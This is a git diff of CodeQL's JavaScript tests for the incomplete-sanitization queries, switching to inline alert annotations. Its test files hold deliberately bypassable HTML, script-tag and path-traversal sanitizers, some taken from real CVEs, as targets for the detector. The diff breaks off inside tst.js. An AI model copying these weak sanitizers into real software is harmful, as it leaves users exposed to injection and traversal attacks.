diff --git a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteHtmlAttributeSanitization.qlref b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteHtmlAttributeSanitization.qlref
index d6963163eef5..d8af0686b84a 100644
--- a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteHtmlAttributeSanitization.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteHtmlAttributeSanitization.qlref
@@ -1 +1,2 @@
-Security/CWE-116/IncompleteHtmlAttributeSanitization.ql
\ No newline at end of file
+query: Security/CWE-116/IncompleteHtmlAttributeSanitization.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteMultiCharacterSanitization.expected b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteMultiCharacterSanitization.expected
index 96a48fec6cb8..22b3868a62a8 100644
--- a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteMultiCharacterSanitization.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteMultiCharacterSanitization.expected
@@ -18,25 +18,25 @@
 | tst-multi-character-sanitization.js:83:7:83:63 | x.repla ... gi, "") | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:83:18:83:21 | <!-- | <!-- |
 | tst-multi-character-sanitization.js:85:7:85:48 | x.repla ... /g, "") | This string may still contain $@, which may cause a path injection vulnerability. | tst-multi-character-sanitization.js:85:18:85:21 | \\x2E | ../ |
 | tst-multi-character-sanitization.js:87:7:87:47 | x.repla ... gi, "") | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:87:18:87:24 | <script | <script |
-| tst-multi-character-sanitization.js:92:7:96:4 | x.repla ... ";\\n  }) | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:92:18:92:24 | <script | <script |
-| tst-multi-character-sanitization.js:101:7:101:30 | x.repla ... /g, "") | This string may still contain $@, which may cause a path injection vulnerability. | tst-multi-character-sanitization.js:101:18:101:19 | \\. | ../ |
-| tst-multi-character-sanitization.js:102:7:102:30 | x.repla ... /g, "") | This string may still contain $@, which may cause a path injection vulnerability. | tst-multi-character-sanitization.js:102:18:102:19 | \\/ | /.. |
-| tst-multi-character-sanitization.js:104:7:104:58 | x.repla ... gi, "") | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:104:18:104:24 | <script | <script |
-| tst-multi-character-sanitization.js:106:7:106:64 | x.repla ... gi, "") | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:106:18:106:18 | < | <script |
-| tst-multi-character-sanitization.js:107:7:107:62 | x.repla ... /g, "") | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:107:18:107:19 | \\< | <script |
-| tst-multi-character-sanitization.js:108:7:108:75 | x.repla ... gm, "") | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:108:18:108:18 | < | <script |
-| tst-multi-character-sanitization.js:109:7:109:58 | x.repla ... gi, "") | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:109:18:109:24 | <script | <script |
-| tst-multi-character-sanitization.js:110:7:110:50 | x.repla ... gi, "") | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:110:18:110:24 | <script | <script |
-| tst-multi-character-sanitization.js:111:7:111:32 | x.repla ... /g, "") | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:111:20:111:23 | <!-- | <!-- |
-| tst-multi-character-sanitization.js:126:7:129:34 | x\\n    . ... //, "") | This string may still contain $@, which may cause a path injection vulnerability. | tst-multi-character-sanitization.js:129:21:129:22 | \\/ | /.. |
-| tst-multi-character-sanitization.js:135:2:135:44 | content ... gi, "") | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:135:19:135:25 | <script | <script |
-| tst-multi-character-sanitization.js:136:2:136:46 | content ... gi, "") | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:136:19:136:19 | < | <script |
-| tst-multi-character-sanitization.js:137:2:137:48 | content ... gi, "") | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:137:19:137:20 | .+ | <script |
-| tst-multi-character-sanitization.js:138:2:138:48 | content ... gi, "") | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:138:21:138:21 | < | <script |
-| tst-multi-character-sanitization.js:142:13:142:62 | content ... gi, "") | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:142:30:142:36 | <script | <script |
-| tst-multi-character-sanitization.js:143:13:143:56 | content ... /g, '') | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:143:30:143:30 | < | <script |
-| tst-multi-character-sanitization.js:144:13:144:91 | content ... /g, '') | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:144:30:144:30 | < | <script |
-| tst-multi-character-sanitization.js:145:13:145:90 | content ... /g, '') | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:145:30:145:30 | < | <script |
-| tst-multi-character-sanitization.js:148:3:148:99 | n.clone ... gi, '') | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:148:41:148:41 | < | <script |
-| tst-multi-character-sanitization.js:152:3:152:99 | n.clone ... gi, '') | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:152:41:152:41 | < | <script |
+| tst-multi-character-sanitization.js:91:7:95:4 | x.repla ... ";\\n  }) | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:91:18:91:24 | <script | <script |
+| tst-multi-character-sanitization.js:100:7:100:30 | x.repla ... /g, "") | This string may still contain $@, which may cause a path injection vulnerability. | tst-multi-character-sanitization.js:100:18:100:19 | \\. | ../ |
+| tst-multi-character-sanitization.js:101:7:101:30 | x.repla ... /g, "") | This string may still contain $@, which may cause a path injection vulnerability. | tst-multi-character-sanitization.js:101:18:101:19 | \\/ | /.. |
+| tst-multi-character-sanitization.js:103:7:103:58 | x.repla ... gi, "") | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:103:18:103:24 | <script | <script |
+| tst-multi-character-sanitization.js:105:7:105:64 | x.repla ... gi, "") | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:105:18:105:18 | < | <script |
+| tst-multi-character-sanitization.js:106:7:106:62 | x.repla ... /g, "") | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:106:18:106:19 | \\< | <script |
+| tst-multi-character-sanitization.js:107:7:107:75 | x.repla ... gm, "") | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:107:18:107:18 | < | <script |
+| tst-multi-character-sanitization.js:108:7:108:58 | x.repla ... gi, "") | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:108:18:108:24 | <script | <script |
+| tst-multi-character-sanitization.js:109:7:109:50 | x.repla ... gi, "") | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:109:18:109:24 | <script | <script |
+| tst-multi-character-sanitization.js:110:7:110:32 | x.repla ... /g, "") | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:110:20:110:23 | <!-- | <!-- |
+| tst-multi-character-sanitization.js:125:7:128:34 | x\\n    . ... //, "") | This string may still contain $@, which may cause a path injection vulnerability. | tst-multi-character-sanitization.js:128:21:128:22 | \\/ | /.. |
+| tst-multi-character-sanitization.js:134:2:134:44 | content ... gi, "") | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:134:19:134:25 | <script | <script |
+| tst-multi-character-sanitization.js:135:2:135:46 | content ... gi, "") | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:135:19:135:19 | < | <script |
+| tst-multi-character-sanitization.js:136:2:136:48 | content ... gi, "") | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:136:19:136:20 | .+ | <script |
+| tst-multi-character-sanitization.js:137:2:137:48 | content ... gi, "") | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:137:21:137:21 | < | <script |
+| tst-multi-character-sanitization.js:141:13:141:62 | content ... gi, "") | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:141:30:141:36 | <script | <script |
+| tst-multi-character-sanitization.js:142:13:142:56 | content ... /g, '') | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:142:30:142:30 | < | <script |
+| tst-multi-character-sanitization.js:143:13:143:91 | content ... /g, '') | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:143:30:143:30 | < | <script |
+| tst-multi-character-sanitization.js:144:13:144:90 | content ... /g, '') | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:144:30:144:30 | < | <script |
+| tst-multi-character-sanitization.js:147:3:147:99 | n.clone ... gi, '') | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:147:41:147:41 | < | <script |
+| tst-multi-character-sanitization.js:151:3:151:99 | n.clone ... gi, '') | This string may still contain $@, which may cause an HTML element injection vulnerability. | tst-multi-character-sanitization.js:151:41:151:41 | < | <script |
 | tst.js:341:9:341:44 | p.repla ... "), "") | This string may still contain $@, which may cause a path injection vulnerability. | tst.js:341:31:341:33 | \\. | ../ |
diff --git a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteMultiCharacterSanitization.qlref b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteMultiCharacterSanitization.qlref
index b0dd84edfa2d..7e54f98144ff 100644
--- a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteMultiCharacterSanitization.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteMultiCharacterSanitization.qlref
@@ -1 +1,2 @@
-Security/CWE-116/IncompleteMultiCharacterSanitization.ql
+query: Security/CWE-116/IncompleteMultiCharacterSanitization.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteSanitization.qlref b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteSanitization.qlref
index 611dfb4a425c..d8ebbf88f2bb 100644
--- a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteSanitization.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteSanitization.qlref
@@ -1 +1,2 @@
-Security/CWE-116/IncompleteSanitization.ql
+query: Security/CWE-116/IncompleteSanitization.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/UnsafeHtmlExpansion.js b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/UnsafeHtmlExpansion.js
index 9d45c9f8f49f..3809bc616d7f 100644
--- a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/UnsafeHtmlExpansion.js
+++ b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/UnsafeHtmlExpansion.js
@@ -6,34 +6,34 @@
 	html.replace(
 		/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi,
 		expanded
-	); // NOT OK
-	html.replace(/<(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi, expanded); // NOT OK
+	); // $ Alert[js/unsafe-html-expansion]
+	html.replace(/<(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi, expanded); // $ Alert[js/unsafe-html-expansion]
 
 	// lib2
 	html.replace(
 		/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,
 		expanded
-	); // NOT OK
-	html.replace(/<(([\w:]+)[^>]*)\/>/gi, expanded); // NOT OK
+	); // $ Alert[js/unsafe-html-expansion]
+	html.replace(/<(([\w:]+)[^>]*)\/>/gi, expanded); // $ Alert[js/unsafe-html-expansion]
 
 	// lib3
 	html.replace(
 		/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^>]*)\/>/gi,
 		expanded
-	); // NOT OK
-	html.replace(/<(([\w:-]+)[^>]*)\/>/gi, expanded); // NOT OK
+	); // $ Alert[js/unsafe-html-expansion]
+	html.replace(/<(([\w:-]+)[^>]*)\/>/gi, expanded); // $ Alert[js/unsafe-html-expansion]
 
-	html.replace(defaultPattern, expanded); // NOT OK
+	html.replace(defaultPattern, expanded); // $ Alert[js/unsafe-html-expansion]
 	function getPattern() {
 		return defaultPattern;
 	}
-	html.replace(getPattern(), expanded); // NOT OK
+	html.replace(getPattern(), expanded); // $ Alert[js/unsafe-html-expansion]
 
 	function getExpanded() {
 		return expanded;
 	}
-	html.replace(defaultPattern, getExpanded()); // NOT OK (but not tracking the expansion string)
-	html.replace(defaultPattern, something); // OK (possibly)
-	defaultPattern.match(something); // OK (possibly)
-	getPattern().match(something); // OK (possibly)
+	html.replace(defaultPattern, getExpanded()); // $ MISSING: Alert - not tracking the expansion string
+	html.replace(defaultPattern, something); // OK - possibly
+	defaultPattern.match(something); // OK - possibly
+	getPattern().match(something); // OK - possibly
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/UnsafeHtmlExpansion.qlref b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/UnsafeHtmlExpansion.qlref
index 89f3696a2fc5..99d6d1c380fb 100644
--- a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/UnsafeHtmlExpansion.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/UnsafeHtmlExpansion.qlref
@@ -1 +1,2 @@
-Security/CWE-116/UnsafeHtmlExpansion.ql
+query: Security/CWE-116/UnsafeHtmlExpansion.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/tst-multi-character-sanitization.js b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/tst-multi-character-sanitization.js
index 2c31e247bf22..a54e61938e01 100644
--- a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/tst-multi-character-sanitization.js
+++ b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/tst-multi-character-sanitization.js
@@ -1,14 +1,14 @@
 // CVE-2019-10756
 (function(content) {
-  content = content.replace(/<.*cript.*\/scrip.*>/gi, ""); // NOT OK
-  content = content.replace(/ on\w+=".*"/g, ""); // NOT OK
-  content = content.replace(/ on\w+=\'.*\'/g, ""); // NOT OK
+  content = content.replace(/<.*cript.*\/scrip.*>/gi, ""); // $ Alert[js/incomplete-multi-character-sanitization]
+  content = content.replace(/ on\w+=".*"/g, ""); // $ Alert[js/incomplete-multi-character-sanitization]
+  content = content.replace(/ on\w+=\'.*\'/g, ""); // $ Alert[js/incomplete-multi-character-sanitization]
   return content;
 });
 (function(content) {
-  content = content.replace(/<.*cript.*/gi, ""); // NOT OK
-  content = content.replace(/.on\w+=.*".*"/g, ""); // NOT OK
-  content = content.replace(/.on\w+=.*\'.*\'/g, ""); // NOT OK
+  content = content.replace(/<.*cript.*/gi, ""); // $ Alert[js/incomplete-multi-character-sanitization]
+  content = content.replace(/.on\w+=.*".*"/g, ""); // $ Alert[js/incomplete-multi-character-sanitization]
+  content = content.replace(/.on\w+=.*\'.*\'/g, ""); // $ Alert[js/incomplete-multi-character-sanitization]
 
   return content;
 });
@@ -16,18 +16,18 @@
 // CVE-2020-7656
 (function(responseText) {
   var rscript = /<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi;
-  responseText.replace(rscript, ""); // NOT OK
+  responseText.replace(rscript, ""); // $ Alert[js/incomplete-multi-character-sanitization]
   return responseText;
 });
 
 // CVE-2019-1010091
 (function(text) {
-  text = text.replace(/<!--|--!?>/g, ""); // NOT OK
+  text = text.replace(/<!--|--!?>/g, ""); // $ Alert[js/incomplete-multi-character-sanitization]
   return text;
 });
 (function(text) {
   while (/<!--|--!?>/g.test(text)) {
-    text = text.replace(/<!--|--!?>/g, ""); // OK
+    text = text.replace(/<!--|--!?>/g, "");
   }
 
   return text;
@@ -35,18 +35,18 @@
 
 // CVE-2019-10767
 (function(id) {
-  id = id.replace(/\.\./g, ""); // OK (can not contain '..' afterwards)
+  id = id.replace(/\.\./g, ""); // OK - can not contain '..' afterwards
   return id;
 });
 (function(id) {
-  id = id.replace(/[\]\[*,;'"`<>\\?\/]/g, ""); // OK (or is it?)
+  id = id.replace(/[\]\[*,;'"`<>\\?\/]/g, ""); // OK - or is it?
   return id;
 });
 
 // CVE-2019-8903
 (function(req) {
   var REG_TRAVEL = /(\/)?\.\.\//g;
-  req.url = req.url.replace(REG_TRAVEL, ""); // NOT OK
+  req.url = req.url.replace(REG_TRAVEL, ""); // $ Alert[js/incomplete-multi-character-sanitization]
 });
 (function(req) {
   var beg;
@@ -61,97 +61,96 @@
 // New cases
 
 (function(x) {
-  x = x.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/g, ""); // NOT OK
+  x = x.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/g, ""); // $ Alert[js/incomplete-multi-character-sanitization]
 
-  x = x.replace(/(\/|\s)on\w+=(\'|")?[^"]*(\'|")?/g, ""); // NOT OK
+  x = x.replace(/(\/|\s)on\w+=(\'|")?[^"]*(\'|")?/g, ""); // $ Alert[js/incomplete-multi-character-sanitization]
 
-  x = x.replace(/<\/script>/g, ""); // OK
+  x = x.replace(/<\/script>/g, "");
 
-  x = x.replace(/<(.)?br(.)?>/g, ""); // OK
-  x = x.replace(/<\/?b>/g, ""); // OK
-  x = x.replace(/<(ul|ol)><\/(ul|ol)>/gi, ""); // OK
-  x = x.replace(/<li><\/li>/gi, ""); // OK
+  x = x.replace(/<(.)?br(.)?>/g, "");
+  x = x.replace(/<\/?b>/g, "");
+  x = x.replace(/<(ul|ol)><\/(ul|ol)>/gi, "");
+  x = x.replace(/<li><\/li>/gi, "");
 
-  x = x.replace(/<!--(.*?)-->/gm, ""); // NOT OK
-  x = x.replace(/\sng-[a-z-]+/, ""); // NOT OK
-  x = x.replace(/\sng-[a-z-]+/g, ""); // NOT OK (ng-attributes)
+  x = x.replace(/<!--(.*?)-->/gm, ""); // $ Alert[js/incomplete-multi-character-sanitization]
+  x = x.replace(/\sng-[a-z-]+/, ""); // $ Alert[js/incomplete-multi-character-sanitization]
+  x = x.replace(/\sng-[a-z-]+/g, ""); // $ Alert[js/incomplete-multi-character-sanitization] - ng-attributes
 
-  x = x.replace(/(<!--\[CDATA\[|\]\]-->)/g, "\n"); // OK: not a sanitizer
+  x = x.replace(/(<!--\[CDATA\[|\]\]-->)/g, "\n"); // OK - not a sanitizer
 
-  x = x.replace(/<script.+desktop\-only.+<\/script>/g, ""); // OK [INCONSISTENCY]
-  x = x.replace(/<script async.+?<\/script>/g, ""); // OK
-  x = x.replace(/<!--[\s\S]*?-->|<\?(?:php)?[\s\S]*?\?>/gi, ""); // NOT OK
+  x = x.replace(/<script.+desktop\-only.+<\/script>/g, ""); // $ SPURIOUS: Alert[js/incomplete-multi-character-sanitization]
+  x = x.replace(/<script async.+?<\/script>/g, "");
+  x = x.replace(/<!--[\s\S]*?-->|<\?(?:php)?[\s\S]*?\?>/gi, ""); // $ Alert[js/incomplete-multi-character-sanitization]
 
-  x = x.replace(/\x2E\x2E\x2F\x2E\x2E\x2F/g, ""); // NOT OK (matches "../../")
+  x = x.replace(/\x2E\x2E\x2F\x2E\x2E\x2F/g, ""); // $ Alert[js/incomplete-multi-character-sanitization] - matches "../../"
 
-  x = x.replace(/<script.*>.*<\/script>/gi, ""); // NOT OK
+  x = x.replace(/<script.*>.*<\/script>/gi, ""); // $ Alert[js/incomplete-multi-character-sanitization]
 
-  x = x.replace(/^(\.\.\/?)+/g, ""); // OK
+  x = x.replace(/^(\.\.\/?)+/g, "");
 
-  // NOT OK
   x = x.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/g, function(
     $0
   ) {
     return unknown ? $0 : "";
-  });
+  }); // $ Alert[js/incomplete-multi-character-sanitization]
 
-  x = x.replace(/<\/?([a-z][a-z0-9]*)\b[^>]*>/gi, ""); // NOT OK [INCONSISTENCY]
+  x = x.replace(/<\/?([a-z][a-z0-9]*)\b[^>]*>/gi, ""); // $ MISSING: Alert
 
-  x = x.replace(/\.\./g, ""); // OK
-  x = x.replace(/\.\.\//g, ""); // NOT OK
-  x = x.replace(/\/\.\./g, ""); // NOT OK
+  x = x.replace(/\.\./g, "");
+  x = x.replace(/\.\.\//g, ""); // $ Alert[js/incomplete-multi-character-sanitization]
+  x = x.replace(/\/\.\./g, ""); // $ Alert[js/incomplete-multi-character-sanitization]
 
-  x = x.replace(/<script(.*?)>([\s\S]*?)<\/script>/gi, ""); // NOT OK
+  x = x.replace(/<script(.*?)>([\s\S]*?)<\/script>/gi, ""); // $ Alert[js/incomplete-multi-character-sanitization]
 
-  x = x.replace(/<(script|del)(?=[\s>])[\w\W]*?<\/\1\s*>/gi, ""); // NOT OK
-  x = x.replace(/\<script[\s\S]*?\>[\s\S]*?\<\/script\>/g, ""); // NOT OK
-  x = x.replace(/<(script|style|title)[^<]+<\/(script|style|title)>/gm, ""); // NOT OK
-  x = x.replace(/<script[^>]*>([\s\S]*?)<\/script>/gi, ""); // NOT OK
-  x = x.replace(/<script[\s\S]*?<\/script>/gi, ""); // NOT OK
-  x = x.replace(/ ?<!-- ?/g, ""); // NOT OK
-  x = x.replace(/require\('\.\.\/common'\);/g, ""); // OK
-  x = x.replace(/\.\.\/\.\.\/lib\//g, ""); // OK
+  x = x.replace(/<(script|del)(?=[\s>])[\w\W]*?<\/\1\s*>/gi, ""); // $ Alert[js/incomplete-multi-character-sanitization]
+  x = x.replace(/\<script[\s\S]*?\>[\s\S]*?\<\/script\>/g, ""); // $ Alert[js/incomplete-multi-character-sanitization]
+  x = x.replace(/<(script|style|title)[^<]+<\/(script|style|title)>/gm, ""); // $ Alert[js/incomplete-multi-character-sanitization]
+  x = x.replace(/<script[^>]*>([\s\S]*?)<\/script>/gi, ""); // $ Alert[js/incomplete-multi-character-sanitization]
+  x = x.replace(/<script[\s\S]*?<\/script>/gi, ""); // $ Alert[js/incomplete-multi-character-sanitization]
+  x = x.replace(/ ?<!-- ?/g, ""); // $ Alert[js/incomplete-multi-character-sanitization]
+  x = x.replace(/require\('\.\.\/common'\);/g, "");
+  x = x.replace(/\.\.\/\.\.\/lib\//g, "");
 
   while (x.indexOf(".") !== -1) {
     x = x
       .replace(/^\.\//, "")
       .replace(/\/\.\//, "/")
-      .replace(/[^\/]*\/\.\.\//, ""); // OK
+      .replace(/[^\/]*\/\.\.\//, "");
   }
 
-  x = x.replace(/([^.\s]+\.)+/, ""); // OK
+  x = x.replace(/([^.\s]+\.)+/, "");
 
-  x = x.replace(/<!\-\-DEVEL[\d\D]*?DEVEL\-\->/g, ""); // OK
+  x = x.replace(/<!\-\-DEVEL[\d\D]*?DEVEL\-\->/g, "");
 
   x = x
     .replace(/^\.\//, "")
     .replace(/\/\.\//, "/")
-    .replace(/[^\/]*\/\.\.\//, ""); // NOT OK
+    .replace(/[^\/]*\/\.\.\//, ""); // $ Alert[js/incomplete-multi-character-sanitization]
 
   return x;
 });
 
 (function (content) {
-	content.replace(/<script.*\/script>/gi, ""); // NOT OK
-	content.replace(/<(script).*\/script>/gi, ""); // NOT OK
-	content.replace(/.+<(script).*\/script>/gi, ""); // NOT OK
-	content.replace(/.*<(script).*\/script>/gi, ""); // NOT OK
+	content.replace(/<script.*\/script>/gi, ""); // $ Alert[js/incomplete-multi-character-sanitization]
+	content.replace(/<(script).*\/script>/gi, ""); // $ Alert[js/incomplete-multi-character-sanitization]
+	content.replace(/.+<(script).*\/script>/gi, ""); // $ Alert[js/incomplete-multi-character-sanitization]
+	content.replace(/.*<(script).*\/script>/gi, ""); // $ Alert[js/incomplete-multi-character-sanitization]
 });
 
 (function (content) {
-  content = content.replace(/<script[\s\S]*?<\/script>/gi, ""); // NOT OK
-  content = content.replace(/<[a-zA-Z\/](.|\n)*?>/g, '') || ' '; // NOT OK
-  content = content.replace(/<(script|iframe|video)[\s\S]*?<\/(script|iframe|video)>/g, '') // NOT OK
-  content = content.replace(/<(script|iframe|video)(.|\s)*?\/(script|iframe|video)>/g, '') // NOT OK
-  content = content.replace(/<[^<]*>/g, ""); // OK
+  content = content.replace(/<script[\s\S]*?<\/script>/gi, ""); // $ Alert[js/incomplete-multi-character-sanitization]
+  content = content.replace(/<[a-zA-Z\/](.|\n)*?>/g, '') || ' '; // $ Alert[js/incomplete-multi-character-sanitization]
+  content = content.replace(/<(script|iframe|video)[\s\S]*?<\/(script|iframe|video)>/g, '') // $ Alert[js/incomplete-multi-character-sanitization]
+  content = content.replace(/<(script|iframe|video)(.|\s)*?\/(script|iframe|video)>/g, '') // $ Alert[js/incomplete-multi-character-sanitization]
+  content = content.replace(/<[^<]*>/g, "");
 
-  n.cloneNode(false).outerHTML.replace(/<\/?[\w:\-]+ ?|=[\"][^\"]+\"|=\'[^\']+\'|=[\w\-]+|>/gi, '').replace(/[\w:\-]+/gi, function(a) { // NOT OK
+  n.cloneNode(false).outerHTML.replace(/<\/?[\w:\-]+ ?|=[\"][^\"]+\"|=\'[^\']+\'|=[\w\-]+|>/gi, '').replace(/[\w:\-]+/gi, function(a) { // $ Alert[js/incomplete-multi-character-sanitization]
     o.push({specified : 1, nodeName : a});
   });
 
-  n.cloneNode(false).outerHTML.replace(/<\/?[\w:\-]+ ?|=[\"][^\"]+\"|=\'[^\']+\'|=[\w\-]+|>/gi, '').replace(/[\w:\-]+/gi, function(a) { // NOT OK
+  n.cloneNode(false).outerHTML.replace(/<\/?[\w:\-]+ ?|=[\"][^\"]+\"|=\'[^\']+\'|=[\w\-]+|>/gi, '').replace(/[\w:\-]+/gi, function(a) { // $ Alert[js/incomplete-multi-character-sanitization]
     o.push({specified : 1, nodeName : a});
-  });  
+  });
 
-  content = content.replace(/.+?(?=\s)/, ''); // OK
-});
\ No newline at end of file
+  content = content.replace(/.+?(?=\s)/, '');
+});
diff --git a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/tst.js b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/tst.js
index 0ce637ad6d8d..d457af27f143 100644
--- a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/tst.js
@@ -2,151 +2,151 @@ let express = require('express');
 var app = express();
 
 function bad1(s) {
-  return s.replace("'", ""); // NOT OK
+  return s.replace("'", ""); // $ Alert[js/incomplete-sanitization]
 }
 
 function bad2(s) {
-  return s.replace(/'/, ""); // NOT OK
+  return s.replace(/'/, ""); // $ Alert[js/incomplete-sanitization]
 }
 
 function bad3(s) {
-  return s.replace(/'/g, "\\'"); // NOT OK
+  return s.replace(/'/g, "\\'"); // $ Alert[js/incomplete-sanitization]
 }
 
 function bad4(s) {
-  return s.replace(/'/g, "\\$&"); // NOT OK
+  return s.replace(/'/g, "\\$&"); // $ Alert[js/incomplete-sanitization]
 }
 
 function bad5(s) {
-  return s.replace(/['"]/g, "\\$&"); // NOT OK
+  return s.replace(/['"]/g, "\\$&"); // $ Alert[js/incomplete-sanitization]
 }
 
 function bad6(s) {
-  return s.replace(/(['"])/g, "\\$1"); // NOT OK
+  return s.replace(/(['"])/g, "\\$1"); // $ Alert[js/incomplete-sanitization]
 }
 
 function bad7(s) {
-  return s.replace(/('|")/g, "\\$1"); // NOT OK
+  return s.replace(/('|")/g, "\\$1"); // $ Alert[js/incomplete-sanitization]
 }
 
 function bad8(s) {
-  return s.replace('|', '');  // NOT OK
+  return s.replace('|', ''); // $ Alert[js/incomplete-sanitization]
 }
 
 function bad9(s) {
-  return s.replace(/"/g, "\\\"");  // NOT OK
+  return s.replace(/"/g, "\\\""); // $ Alert[js/incomplete-sanitization]
 }
 
 function bad10(s) {
-  return s.replace("/", "%2F"); // NOT OK
+  return s.replace("/", "%2F"); // $ Alert[js/incomplete-sanitization]
 }
 
 function bad11(s) {
-  return s.replace("%25", "%"); // NOT OK
+  return s.replace("%25", "%"); // $ Alert[js/incomplete-sanitization]
 }
 
 function bad12(s) {
-  return s.replace(`'`, ""); // NOT OK
+  return s.replace(`'`, ""); // $ Alert[js/incomplete-sanitization]
 }
 
 function bad13(s) {
-  return s.replace("'", ``); // NOT OK
+  return s.replace("'", ``); // $ Alert[js/incomplete-sanitization]
 }
 
 function bad14(s) {
-  return s.replace(`'`, ``); // NOT OK
+  return s.replace(`'`, ``); // $ Alert[js/incomplete-sanitization]
 }
 
 function bad15(s) {
-  return s.replace("'" + "", ""); // NOT OK
+  return s.replace("'" + "", ""); // $ Alert[js/incomplete-sanitization]
 }
 
 function bad16(s) {
-  return s.replace("'", "" + ""); // NOT OK
+  return s.replace("'", "" + ""); // $ Alert[js/incomplete-sanitization]
